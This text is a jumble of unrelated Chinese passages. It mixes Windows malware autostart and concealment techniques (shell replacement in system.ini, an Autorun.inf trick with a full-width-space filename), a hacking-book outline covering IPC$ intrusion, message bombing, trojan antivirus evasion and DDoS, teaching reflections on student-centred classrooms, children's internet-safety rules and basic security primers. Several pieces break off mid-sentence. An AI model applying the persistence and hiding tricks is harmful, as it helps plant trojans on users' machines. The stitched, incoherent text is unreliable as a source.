Winstart.bat(在启动GUI图形界面环境时执行) Dosstart.bat(在进入MS-DOS方式时执行) 例如：编辑C:\\windows\\Dosstart.bat，加入：start Notepad，当你进入“MS-DOS方式”时，就可以看到记事本被启动了。 二、修改系统配置 常使用的方法，通过修改系统配置文件System.ini、Win.ini来达到自动运行的目的，涉及范围有： 在Win.ini文件中： [windows] load=程序名 run=程序名 在System.ini文件中： [boot] shell=Explorer.exe 其中修改System.ini中Shell值的情况要多一些，病毒木马通过修改这里使自己成为Shell，然后加载Explorer.exe，从而达到控制用户电脑的目的。
三、借助自动运行功能 这是黑客最新研发成果，之前该方法不过被发烧的朋友用来修改硬盘的图标而已，如今它被赋予了新的意义，黑客甚至声称这是Windows的新BUG。 Windows的自动运行功能确实很烂，早年许多朋友因为自动运行的光盘中带有 CIH病毒而中招，现在不少软件可以方便地禁止光盘的自动运行，但硬盘呢?其实硬盘也支持自动运行，你可尝试在D盘根目录下新建一个Autorun.inf，用记事本打开它，输入如下内容： [autorun] open=Notepad.exe 保存后进入“我的电脑”，按F5键刷新一下，然后双击D盘盘符，怎么样?记事 本打开了，而D盘却没有打开。 当然，以上只是一个简单的实例，黑客做得要精密很多，他们会把程序改名为“.exe”(不是空格，而是中文的全角空格，这样在Autorun.inf中只会看到“open=”而被忽略，此种行径在修改系统配置时也常使用，如“run=”;为了更好地隐藏自己，其程序运行后，还会替你打开硬盘，让你难以查觉。 由此可以推想，如果你打开了D盘的共享，黑客就可以将木马和一个Autorun.inf 存入该分区，当Windows自动刷新时，你也就“中奖”了，因此，大家千万不要共享任何根目录，当然更不能共享系统分区(一般为C:)。 四、通过注册表中的Run来启动
关于“学本式”卓越课堂的教学反思
关于“学本式”卓越课堂的教学反思 沙坪坝区实验外语学校李雪莲 本学期学校全面推进了课改，贯彻沙区的“学本式”卓越课堂的尝试，我深有感触。总的感受是课改无论怎么改，钻研教材把握教材是我们教师永远的根本，回归本质还是重在于把握好教材，精心设计我们的教学流程，教师方可在教学中游刃有余。 为了在课堂中充分体现“以学为主”，以前的教师主讲转向了教师指导学生学习，以前的个体学习转向了小组互助学习，以前的教师一家之言转向了互动式的答疑解惑，这无疑给沉寂的课堂增添了一些原动力和活力。在课堂中，学生有了学习的目标，有了解决问题的欲望，有了超越他人的竞争意识，课后有了可以继续学习的精神食粮。俗话说，有需要才有动力，在课堂中学生有了具体的目标，才会拥有源源不断的精神动力。 在课堂上，我亲身感受到了教师的主导和引导作用，充分尊重学生的个性特征，让学生在小组学习中能获得快乐。同组学生能在小组学习中既学到知识也能感受到小组这个集体的温暖，这样，将老师的个体关爱转移到小组这个群体的关爱，这无疑增强了后进学生的学习自信心，在差生的脸上也能看到阳光般的笑脸，这不正是我们所希望看到的吗？ 同时，我们从学生的学习材料上也看到了教师的辛苦，学生自主学习的导学案，不是随手可以拈来的东西，它体现了教师的教学思想，展现了教师对教材的充分认识和理解，这不是解放了教师，相反是给教师提出了更高的要求。因此，深钻教材，提炼教材中所包涵的思想依然是我们教师重中之重的任务。 以学生为主体的课堂，教师能不能大胆放手，能否真正将学习的主动权交给学生，还需要教师在观念上加以改变，我认为，教育的最高境界是为了不教，
也就是为学生以后的终身学习打下良好的基础，因此，培养学生的自主学习能力，作为义务阶段的教师来说任重而道远。 我们课堂教学追求卓越，那么何为卓越实在是说不怎么清楚。我想以前讲的“高效”应该是一个体现吧。而课堂应该是我们实施“高效”的主阵地，我认为，如果为了知识的延伸或拓展，如果为了能使教师在课堂中教的所谓“轻松”，而把课堂中该学习的任务布置到课外，这种所谓的高效我不敢苟同。这不仅加重了学生学习的课业负担，而且会挫伤学生学习的积极性，长此以往，学生自然会厌倦，甚至危害到学生的身心健康。用尽量少的时间与精力，让学生获得最大限度的学习效益的课堂教学，是减轻学生课业负担、提高自身素质的根本所在。因此，我们实施教学的有效时间，应该是在课堂40分钟。教师应该思考的问题是，应该怎样教才是有效的，学生怎么学才是最快乐的。 教学有法，教无定法，高效课堂不失为我们追求高质量教学的一途径，但是，由于我们的教育对象不尽相同，教育对象所具备的知识经验更是参差不齐，教育学生，传授知识采用一刀切的方式仍然不妥，也就是说，在实施高效课堂的教学中，如果只是为了追求某种形式，让我们的教学生搬硬套，形成一种所谓的定式，这实际也是一种违背教育规律的做法。 因此，如何去把握自己的教学，让更多的学生参与到学习中来，让我们的课堂更具活力，如何去把握教与学的切入点和结合点，让学生学得好，身心也得到发展，成为我以及所有同行们今后努力的方向。 总之，“学本式”卓越课堂作为一种理念，更是一种价值追求，一种教学实践模式。在今后的课堂教学中，将会引起我们更多的思考、更多的关注。
如何快速学习黑客技术【新手必看】
第一种脚本注入 1，脚本script是使用一种特定的描述性语言，依据一定的格式编写的可执行文件，又称作宏或批处理文件。如今的脚本语言相当多了，一般的脚本语言的执行只同具体的解释执行器有关，所以只要系统上有相应语言的解释程序就可以做到跨平台。比如常见的后缀名为.cfg格式的文件。 2，动态程序一般有两种实现方式，一是二进制方式，一是脚本方式。脚本是批处理文件的延伸，是一种纯文本保存的程序，一般来说的计算机脚本程序是确定的一系列控制计算机进行运算操作动作的组合，在其中可以实现一定的逻辑分支等，可以说打麻将赌博是为了搞服业，写小说、剧本等也可以理解为写脚本。 第二种漏洞攻防 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。当然了，这种说法比较笼统。比如说常见的远程端口、数据库空口令、影子空密码、黑社会和远程控制任我行的默认端口和密码。计算机安全分级标准在“橘皮书”中都有所定义。入侵者只要找到复杂的计算机网络中的一个缝，就能轻而易举地闯入系统。所以，了解这些缝都有可能在哪里，对于修补它们至关重要。通常，裂缝主要表现在软件编写存在bug、系统配置不当、口令失窃、明文通讯信息被监听以及初始设计存在缺陷等方面。正所谓打狗要用打狗棒，降魔要使降魔杖。物品在当你买下的那一刻开始就已经贬值，系统在发行的那一刻起也就意味着搅入了漏洞攻防战之中。 第三种加密解密 这个说起来就有些大了；一个算法、一个程序的保护、你把自己家里门锁了、穿上衣服拉上拉链、破解一个软件、免杀了一个程序等等这都可以理解为加密解密。要学好加密解密，最好能了解一门语言，这样的话学起来事半功倍，不然遇到汇编语言、c或者其他语言你会很头疼的。说了这么多那么到底怎么学习呢？ 1，软件是为硬件服务的，你没有一台电脑也总该有一本书吧，没电脑没书你总该有学习知识的渴望性吧。 2，要有一个学习的环境，加一些技术交流群，多与其他的人交流。最好能遇到几个交心的朋友，当然了可遇而不可求。有了交流一方面能巩固自己的知识，同时也能听到为了一种结果而采取的不同路径方法。在最短的时间内达到最完美的效果这就叫技术，这就叫牛逼。 3，找一个老鸟带带自己。大牛一般手上都有些自己的绝活呢，如果看你根骨奇佳，浑身璞玉说不定帮你打通任督二脉传授他或者她的毕生所学。秘籍自珍古代现代都有。师傅教给你了东西可别欺师灭祖背叛师门啊。 4，一定要有自己的思维定性。网上的教程一大堆，归根到底换汤不换药不相信问下永波，03的教程现在还有人在做。来来回回的就那么些教程，做来做去有什么意思。看了教程后试验下，举一反三想一想有没有别的方法可以可以实现最终的结果。要敢于尝试，要是一味的按步照班到后来只能是：一直在模仿，但从未被超越。就跟创业赚钱一样，先知先觉的人发现好项目赚钱了，后知后觉的人看到前面赚钱了跟了上去也赚钱了，剩下的一些不知不觉的人就赔钱了。先知先觉、后知后觉、不知不觉是三种截然不同的思维定性方式。 5，懂些英语知识。现在的编程都趋于可视化环境例如delphi，面向对象而且可视化编程。有英语知识的人对处理一些问题上也能够达到可视化操作，简单、方便。一大串英文字母都不知道说了什么你怎么往下操作呢，所以说基础知识一定要扎实，根基牢固楼才能建的高。 6，术业有专攻，小学期间德智体美劳全面发展等到高中开始分科，大学面临专业选择。经过全面发展后知道自己想要做什么，到后来后分科后才能知道怎么做。一个人在马路中间看
生本课堂教学模式
生本课堂教学模式 在生本的课堂中，学生的学习方式并不是单纯的老师在讲台上讲授的方式，而是将教师变成一个学习的引导者，学生的角色回归到他真正的身份——学习者和学习的主体。例如阅读学习过程中，学生自由组合成不同的学习小组。他们通过先完成前置性作业、学生之间组内的交流，互相解决问题，学生个人能解决的问题就让学生自己解决，学生解决不少的问题，学生合作解决，学生合作解决不了的问题，师生合作解决，最后小组之间的成果展示完成阅读教学。 （一）、个人先学，设置前置性作业 生本教学的起点是学生个体先学，以学生原始的、真正的、发自内心的学习动力作为教学的第一步。那怎样让学生进行有效的先学呢？生本教育提出了给学生布置前置性作业。把明天学习内容的目标、要求，变成学生先学的一个前置性作业——实际上是把明天的教学要求变成 学生先学的一个问题。通过“前置性作业”的形式，给学生提出了明确的先学任务，学生通过完成“前置性作业”，为第二天的小组交流提供了知识上的保障，从而有了想“展示”的欲望，由此展开学生学习的第二环节——小组交流。所以，先学是诱发学生自主学习的第一步；是小组学习的基础，是知识获得的根基。 那我们又是如何来设置前置性作业呢？我们应切实根据教学内容的需要并符合学生的实际能力去创设一些问题让学生乐于自行寻找或 要略加思考才有的答案,从而刺激他们的求知欲,为学生进一步学习自 主探究,喜爱学习奠定基础。我们不能流于形式去布置一些让学生花大量时间而且是力所不能及问题,否则也许会造成学生有抵触情绪、厌学的反作用。我在设计PEP六年级下册Unit 3 Part BLet’s read 一文的教学时,给学生创设的前置任务是:1、在阅读短文过程中划出新单词，并结合上下文理解其意思并写出来。2、通过音标，尝试读出单词。3、完成文后的练习。4、在阅读的过程中把自己不明白的、不清楚的或者是认为要和老师、同学讨论的问题都勾出来，到时候和老师、同学讨论。这是一个让学生自主学习的过程，可以培养学生独立思考的能力。在这
黑客编程语言!(黑客基础)
从理论上说，任何一门语言都可以在任何一个系统上编程，只要找到该系统提供的“接口”和对系统内部机制有深 入的了解就可以了，至少我是这么认为的。正如c语言可以在windows下编程，也同样可以在Linux上大放异彩一样。 编程是一项很繁杂的工作，除了应用编程工具之外，了解系统本身内部工作机理非常重要，这是你写出稳定兼容的 程序所必不可少的前提条件。你要在哪一种系统上编程就要对该系统的机制进行研究，至少你应该知道一个程序在那个 系统上是如何运行的。 一、了解Windows 内部机制 Windows 是一个“基于事件的，消息驱动的”操作系统。 在Windows下执行一个程序，只要用户进行了影响窗口的动作（如改变窗口大小或移动、单击鼠标等）该动作就会 触发一个相应的“事件”。系统每次检测到一个事件时，就会给程序发送一个“消息”，从而使程序可以处理该事件。 每个Windows 应用程序都是基于事件和消息的，而且包含一个主事件循环，它不停地、反复地检测是否有用户事件发 生。每次检测到一个用户事件，程序就对该事件做出响应，处理完再等待下一个事件的发生。 Windows 下的应用程序不断地重复这一过程，直至用户终止程序，用代码来描述实际上也就是一个消息处理过程 的while循环语句。 下面便简单介绍一下与Windows 系统密切相关的几个基本概念： ⒈窗口：这是我要说的第一个概念。似乎是地球人都知道的事儿了，窗口是Windows 本身以及Windows 环境下的 应用程序的基本界面单位，但是很多人都误以为只有具有标题栏、状态栏、最大化、最小化按钮这样标准的方框才叫 窗口。其实窗口的概念很广，例如按钮和对话框等也是窗口哦，只不过是一种特殊的窗口罢
小学生网络安全知识整理完整版
小学生网络安全知识整 理 HEN system office room 【HEN16H-HENS2AHENS8Q8-HENH1688】
小学生网络安全知识 同学们，上网就像步入社会，你可以在这个虚拟的空间里，学到有益自己身心健康成长的东西，学到课本里没有学不到的东西，在这里你可以得到世界上成千上万的网友的帮助。但在这里也可能受到一些内容不健康的网站的影响，思想受到的侵害，也有可能做出犯法的事。为此，请大家熟记以下上网安全守则：?>>?： 1、没有经过父母同意，不要把自己及父母家人的真实信息，如姓名、住址、学校、电话号码和相片等，在网上告诉其他人。 2、如果看到不文明的信息或图片，应立即告知父母。 3、进入聊天室前要告知父母。必要时由父母确认该聊天室是否适合学生使 用。不要在各个聊天室之间“串门”。在聊天室中，如果发现有人发表不正确的言论，应立即离开，自己也不要在聊天室散布没有根据或不负责任的言论。 4、不要在聊天室或BBS上散布对别人有攻击性的言论，也不要传播或转贴他 人的违反中小学生行为规范甚至触犯法律的内容，网上网下都做守法的小公民。?>>? 5、尽可能不要在网上论坛，网上公告栏、聊天室上公布自己的E-MAIL地址。 如果有多个E-MAIL信箱，要尽可能设置不同的密码。 6、未经父母同意，不和任何网上认识的人见面。如果确定要与网友见面，必 须在父母的同意和护送下，或与可信任的同学、朋友一起在公共场所进行。 7、如果收到垃圾邮件（不明来历的邮件），应立即删除。包括主题为问候、 发奖一类的邮件。若有疑问，立刻请教父母、老师如何处理。 8、不要浏览“儿童不宜”的网站或网站栏目，即使无意中不小心进去了，也 要立即离开。 9、如遇到网上有人伤害自己，应及时告诉父母或老师。? 10、根据与父母的约定，适当控制上网时间，一般每次不要超过1小时，每天 不超过3小时。 上网要注意安全，如果不加防范，网络的危害并不小，以下几方面应当引起同学们的足够重视。>>? 一、网上娱乐谨防过度。 二、网上交友谨防受骗。
学本式成长课堂
“学本式成长课堂”让每个学生精彩绽放 目前，我们牡丹江市小学课堂教学，正在推进和构建“学本式成长课堂”的实践研究,以学生为本的“学本式成长课堂”，成为了教学研究全新的切入点。我和张晓芬老师有幸参加了我县教师进修学校小学研培部于5月14日，在明德小学进行的小学语文学科“学本式成长课堂”尝试课教研活动。结合本次外出学习，我校语文教科研组的教师进行了“学本式成长课堂”的小组研讨活动，语文组的6位教师积极参与小主题的研讨交流，组内进行了集体备课、研课，在试讲中摩课、改课，大家齐心协力使张晓芬老师的这节尝试课精彩呈现。下面我来谈谈对“学本式成长课堂”的认识。 一、学本式成长课堂的内涵 1. 学本式成长课堂，是指以学生学习为本的课堂。学本课堂就是教师和学生协同合作，共同围绕着核心问题开展自主性的探究学习，在单位时间内解决问题，实现学习目标，促进教师和学生共同成长的学习活动。在师生关系方面，有别于教本课堂，师生关系不是上对下的长幼关系、授受关系，而是真正意义上的民主、平等、人文和谐的发展关系。师生为了共同的目标而相互合作，相互帮助，追求的是一种真学习。在教学关系方面，师生之间不是那种传授和告知关系，而是合作学习，共同建构知识，发展能力的关系。师生共同创建小组合作团队学习机制，创建人文、自由、开放、多元、灿烂的学习氛围，让学生实现真实、自由、自主的阳光学习。通过学本课堂学习，最终目的是让每位学生的生命得到精彩绽放。 2. 学本式成长课堂的教学目的。从概念上来看就是以 学生的学习为本，教学教什么？不是教知识，而是教学生学习。教师的职能是：组织、引导、指点、帮助学生更好更快建构知识，而不是代替学生学习给学生传授知识。 学本式成长课堂以“问题”解决为任务。师生共同围绕“问题”开展自主、合作、探究学习，“问题”成为教与学活动的主线，实现以“问题”为中心的学习。 3. 学本式成长课堂教和学的关系。 （1）不学不教：学放在教前，教放在学后，没有学生的学，就没有教师的教，要改变教师先讲，学生再学、再做的传统“教学”。 搭建了解放学生的平台，让学生成长为解决问题的主人。学本式成长课堂注重学生学习能力的培养，尤其是培养学生预习、自主学习、合作探究、问题发现生成、问题解决等能力。将学习还给学生，将方法教给学生。 （2）以学定教：根据学生的学来确定教什么和怎样教。搭建了思维绽放的平台，让学生成长为展示对话的主人。学本式成长课堂注重展示对话学习方法，创建“说的课堂”，通过生生对话、师生对话来解决问题，建构知识，培养能力，发展情感，在单位时间内完成学习任务，激活了每个学生的思维潜能，培养了学生的科学思辨能力，最终使每个学生都能言善辩，富有较强的语言表达能力。 （3）以教促学：教是学的手段，学是教的目的；教是为了促进学，是为了更好地学。 搭建了团队成长的平台，让学生成长为合作学习的主人。学本式成长课堂注重小组合作团队学习机制建设，在角色上进行了大胆创新，使每位同学都成为合作学习的主人，为小组和班级全体成员的合作成功搭建了良好的学习平台。 （4）以学论教：教得好不好不是看教师讲解的如何，而是通过学生的学习情况来评价。
网络安全基础知识问答
网络安全基础知识问答 问：什么是网络安全？ 答：网络安全是指网络系统的硬件、软件及其系统中的数据受到保护，不因偶然的或者恶意的原因而遭到破坏、更改、泄露，系统可以连续可靠正常地运行，网络服务不被中断。 问：什么是计算机病毒？ 答：计算机病毒（Computer Virus）是指编制者在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机使用并且能够自我复制的一组计算机指令或者程序代码。 问：什么是木马？ 答：木马是一种带有恶意性质的远程控制软件。木马一般分为客户端（client）和服务器端（server）。客户端就是本地使用的各种命令的控制台，服务器端则是要给别人运行，只有运行过服务器端的计算机才能够完全受控。木马不会像病毒那样去感染文件。 问：什么是防火墙？它是如何确保网络安全的？ 答：使用防火墙（Firewall）是一种确保网络安全的方法。防火墙是指设置在不同网络（如可信任的企业内部网和不可信的公共网）或网络安全域之间的一系列部件的组合。它是不同网络或网络安全域之间信息的惟一出入口，能根据企业的安全政策控制（允许、拒绝、监测）出入网络的信息流，且本身具有较强的抗攻击能力。它是提供信息安全服务，实现网络和信息安全的基础设施。 问：什么是后门？为什么会存在后门？ 答：后门（Back Door）是指一种绕过安全性控制而获取对程序或系统访问权的方法。在软件的开发阶段，程序员常会在软件内创建后门以便可以修改程序中的缺陷。如果后门被其他人知道，或是在发布软件之前没有删除，那么它就成了安全隐患。 问：什么叫入侵检测？ 答：入侵检测是防火墙的合理补充，帮助系统对付网络攻击，扩展系统管理员的安全管理能力（包括安全审计、监视、进攻识别和响应），提高信息安全基础结构的完整性。它从计算机网络系统中的若干关键点收集信息，并分析这些信息，检查网络中是否有违反安全策略的行为和遭到袭击的迹象。 问：什么叫数据包监测？它有什么作用？
黑客必备知识2
寻找有罅缝的攻击对象 查询对方的安全状况 确定可利用的漏洞细节 你的账号是我的，攻击ADsL账号 利用漏洞，变菜鸟的机器为肉鸡 针对9X系统的NetBIoS漏洞的入侵 IPC$漏洞的入侵 ipC$与空连接、139、445端口、默认共享的关系用流光进行ipc$入侵 如何防范ipc$入侵 对并不安全的SAM数据库安全漏洞实施攻击RPC漏洞的攻击 入侵装有SQL数据库的电脑主机 做一个QQ黑客 QQ在线轰炸 利用飘叶千夫指发送消息炸弹 利用QQ细胞发送器发送消息炸弹 QQ本地破解 本地破解的奥秘 本地破解的原理和方法 实战本地破解一：利用暴力破解软件“画蝶” 实战本地破解二：利用扫号软件获取密码
电子邮件的轰炸 邮件收发软件的漏洞攻击 利用Foxmail个性图标进行攻击 制作具有攻击性的txt邮件 制作可以格式化磁盘的邮件 木马入侵攻击 木马是如何侵入的 木马隐身术 打乱壳的头文件或壳中加花免杀法 捆绑服务端免杀法 加壳制作自己的服务端免杀法 木马的入侵 利用反弹型木马灰鸽子入侵 利用网络刺客ll与冰河共同入侵 像潮水一样攻击，DOS攻击 DoS的攻击原理 DoS的攻击类型 攻击实例：利用独裁者DDoS攻击器进行攻击三、攻击办公室／寝室的内网用户 攻击本地用户账号和密码 破解BIOS密码 破解SETUP密码
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构建学本课堂模式
构建学本课堂模式，打造高效课堂 为适应新时期的教育发展变化，国家制定了新的课程标准要求，要求引导学生确立终身学习的理想。要实现这一目标，作为基础教育的我们，必须让学生在掌握了后续学习的知识基础上，学会学习、乐于学习。课堂教学是教育教学的主阵地，为了实现“服从并服务于学生的终身发展”这一价值追求，我们确立了“学本”课堂教学模式，致力于为学生奠定终身学习的知识基础、学习能力、学习品质。 一、理论框架 “学本”即在课堂教学中以学生作为学习的主体，高度关注学生的学习状态，重在培养学生的学习品质，着力指导学生的学习方法，并以此为根本展开教学活动。教学活动包含者教与学两个方面。在知识贫乏的年代，教师拥有着绝对的知识优势，教学中教占主导，知识本身成为了教学重心。但在当今知识激增的时代，教者无法仅仅通过教让学生获取足够有用的知识，知识呈现方式的多样化也决定了学者可通过更多的途径获取知识，知识的快速更新也迫使大家不停的学习。因此，学会学习、终身学习成为了必然，教者的重心更应从知识本身的传授向关注学生如何学习和指导学生学会学习转变，这是文化发展的必然，是教学应以学生为主体，教师为主导原则的根本体现。 “学本”模式以学生的终身发展为远景，立足于课堂教学，具有不同层次的目标。“学本”首先是以学生的知识掌握为本。关注学生的学习，要关注学生的知识获取情况。教材中的基本知识与基本技能，是学生今后进一步学习的基础，必须要牢固掌握，否则终身学习的理想只能成为空中楼阁。在以往的教学当中，源于传统的做法，这方面做得比较到位。但仅做到这一步是不够的，“学本”还要更关注于促使学生掌握一定的学习方法，以学习能力的形成为本。授之以鱼不如授之以渔。随着社会发展进程的加快，学校教育所掌握的知识本身已不够未来使用，人们需要不断学习新知识才能满足社会生产生活的需要。只有让学生学会了学习，有了一定的学习方法，才能在将来有实现终身学习的可能。此外，培养学生良好的学习品质也是”学本”目标之一。好习惯受益终身，良好的学习习惯有助于学生高效有序的实现终身学习。好的学习品质是学生在终身学习受挫时能得以坚持下去的保证。而有很好的学习志趣才有将来实现终身学习的动力。最后，“学本”也要关注学生的心理发展，要引导学生正确认识世界和追求真善美内心。要让学生感受知识与生活的水乳交融，感受世界真实美好与其内在的规则，感受人生丰富的情感与高尚的情操。这种体验要立足于课堂，立足于学生的对比体验，立足于学生的真实感受，而不是简单空洞的说教。如果把终身学习比做在人生时间长河中的一条船，那么基本知识与基本技能是造船的原材料，学习能力与学习习惯是造船的工具和方法，学习意志与兴趣是航行动力，而正确的世界认识是掌握方向的船舵。而这些，就是我们”学本”课堂所要给予学生的。 概括地讲，一是以学定教：教学在本质上是学而不是教，教是为了学。以学定教，就是教必须从学出发，以满足于学作为教的需要。二是以教导学：教的本质也在于对学的引导。以教导学，就是教必须从学出发，以引导学生更好地学作为教的需要。三是以学促学：今天的学，是为了明天的学；今天的学，是明天的学的基础。以学促学，就是要以学习促进学习的提高和发展，促进学生更好地学。四是自学为主。教是为了不教，多学少教，教而不教。教学的最终目的是学，没有自学的有效实现，即使最精彩的教也于事无益。学习活动的主体
学本课堂
一、什么就是学本课堂 学本课堂，就是指以学习者学习为本得课堂。这里得学习者不就是单纯得指学生,而就是指教师、学生与直接参与者。也就就是说，在学本课堂中,没有纯粹得教师，教师身份将发生本质性变化,教师就是大同学。具体而言,学本课堂就就是教师与学生协同合作,共同围绕着核心问题开展自主性得探究学习,在单位时间内解决问题,实现学习目标,促进教师与学生共同成长得学习活动。在师生关系方面,有别于教本课堂,师生关系不就是上对下得长幼关系、授受关系,而就是真正意义上得民主、平等、人文与谐得发展关系。师生为了共同得目标而相互合作，相互帮助,追求得就是一种真学习。在教学关系方面,师生之间不就是那种传授与告知关系，而就是合作学习,共同建构知识发展能力得关系。师生共同创建小组合作团队学习机制,创建人文、自由、开放、多元、灿烂得学习氛围，让学生实现真实、自由、自主得阳光学习。通过学本课堂学习,最终目得就是让每位学习者生命得到精彩绽放。 二、学本课堂最大得转变在于还权于生让课堂成为学生成长得舞台 传统得课堂学生就是客人,教师就是主人。新课程强调学生就是学习得主体,课堂就是学生成长得舞台。让学生成为课堂这个舞台得主人,就要求教师转变观念还权于生,将犯错得权力、对话得权力、质疑得权力、思考得权力真正还给学生。 一、将犯错得权力还给学生。 传统得课堂就是不允许学生犯错误得,学生也害怕犯错误,师生谈“错”色变。20世纪最著名得哲学家波普尔认为:“我们能从我们得错误中学习,我们得一切知识都只能通过纠正我们得错误而成长。”学习其实就就是一个发现犯错,并改正错误得过程。课堂就就是出错得地方。学生没有错误,还要教师干什么,还学什么，岂不就是浪费时间。犯错,就是学生得权力。剥夺学生得这种权力,只会让学生掩饰错误，给错误以永远生存得土壤,不利于学生得成长。经常听到教师埋怨学生一错再错，这就是因为教师纠错得方式有问题，给学生正确得答案,局限于讲正确得思维与方法,而没有让学生错得思维过程有效展示,没有对错得思维过程组织大家评析与讨论,没有使得犯有共性错误得学生进行深入得反思,真正认识到自己错误得根源所在。纠错一定要引导学生主动思考自主纠错，这样对错误才会有深刻得认识,不会一错再错。“错误也就是一种资源。”这就是新课程改革中教师应该树立得“出错理念”。 二、把对话得权力还给学生 传统得课堂剥夺了学生得对话权力，即使有对话也只就是一种单向输送得假性对话，学生更多得时候就是一个真实得听众，就是一个灌输得容器。对话必须有对话意识,即一种民主得意识、平等得意识、合作得意识。师生之间、生生之间、生本之间得对话都应渗透这种对话得意识，否则就会出现教师、优生得话语霸权。正如人们所说
网络安全知识入门
网络安全知识入门 近日，因为工作需要，对于网络安全的一些基础的知识做了一些简单的了解，并整理成总结文档以便于学习和分享。 网络安全的知识体系非常庞大，想要系统的完成学习非简单的几天就可以完成的。所以这篇文章是以实际需求为出发点，把需要用到的知识做系统的串联起来，形成知识体系，便于理解和记忆，使初学者可以更快的入门。 首先我们要对网络安全有一个基本的概念。网络安全是指网络系统的硬件、软件及其系统中的数据受到保护，不因偶然的或者恶意的原因而遭受到破坏、更改、泄露，系统连续可靠正常地运行，网络服务不中断。简单来说就是，保护网络不会因为恶意攻击而中断。了解了网络安全的职责，我们就可以从网络攻击的方式，网络攻击检测手段等几个方面来处理。在实际的学习中，我发现直接上手去学习效率并不是很好，因为网络安全也有很多的专业名词是不了解的所以在系统的学习之前对本文可能涉及到的专业名词做一个解释很有必要。 1.IRC服务器：RC是Internet Relay Chat 的英文缩写，中文一般称为互联网中继聊 天。IRC的工作原理非常简单，您只要在自己的PC上运行客户端软件，然后通过因特网以IRC协议连接到一台IRC服务器上即可。它的特点是速度非常之快，聊天时几乎没有延迟的现象，并且只占用很小的带宽资源。 2.TCP协议：TCP（Transmission Control Protocol 传输控制协议）是一种面向连接 的、可靠的、基于字节流的传输层通信协议。TCP的安全是基于三次握手四次挥手的链接释放协议（握手机制略）。
3.UDP协议：UDP 是User Datagram Protocol的简称，UDP协议全称是用户数据报协 议，在网络中它与TCP协议一样用于处理数据包，是一种无连接的协议。其特点是无须连接，快速，不安全，常用于文件传输。 4.报文：报文(message)是网络中交换与传输的数据单元，即站点一次性要发送的数据 块。报文包含了将要发送的完整的数据信息，其长短很不一致，长度不限且可变。 5.DNS：DNS（Domain Name System，域名系统），因特网上作为域名和IP地址相互映 射的一个分布式数据库，能够使用户更方便的访问互联网，而不用去记住能够被机器直接读取的IP数串。DNS协议运行在UDP协议之上，使用端口号53。DNS是网络攻击中的一个攻击密集区，需要重点留意。 6.ICMP协议：ICMP是（Internet Control Message Protocol）Internet控制报文协 议。它是TCP/IP协议族的一个子协议，用于在IP主机、路由器之间传递控制消息。 7.SNMP协议：简单网络管理协议（SNMP），由一组网络管理的标准组成，包含一个应 用层协议（application layer protocol）、数据库模型（database schema）和一组资源对象。该协议能够支持网络管理系统，用以监测连接到网络上的设备是否有任何引起管理上关注的情况。 8.僵尸病毒：僵尸网络病毒，通过连接IRC服务器进行通信从而控制被攻陷的计算机。 僵尸网络(英文名称叫BotNet)，是互联网上受到黑客集中控制的一群计算机，往往被黑客用来发起大规模的网络攻击。僵尸病毒的目的在我看来是黑客在实施大规模网络攻击之前做好准备工作，提供大量可供发起攻击的“僵尸电脑”。 9.木马病毒：木马（Trojan）,也称木马病毒，是指通过特定的程序（木马程序）来控 制另一台计算机。“木马”程序是目前比较流行的病毒文件，与一般的病毒不同，它不会自我繁殖，也并不“刻意”地去感染其他文件，它通过将自身伪装吸引用户下载执行，向施种木马者提供打开被种主机的门户，使施种者可以任意毁坏、窃取被种者的文件，甚至远程操控被种主机。木马病毒对现行网络有很大的威胁。 10.蠕虫病毒：蠕虫病毒，一种常见的计算机病毒。它的传染机理是利用网络进行复制 和传播，传染途径是通过网络和电子邮件。。对于蠕虫，现在还没有一个成套的理论体系。 一般认为：蠕虫是一种通过网络传播的恶性病毒，它具有病毒的一些共性，如传播性、隐蔽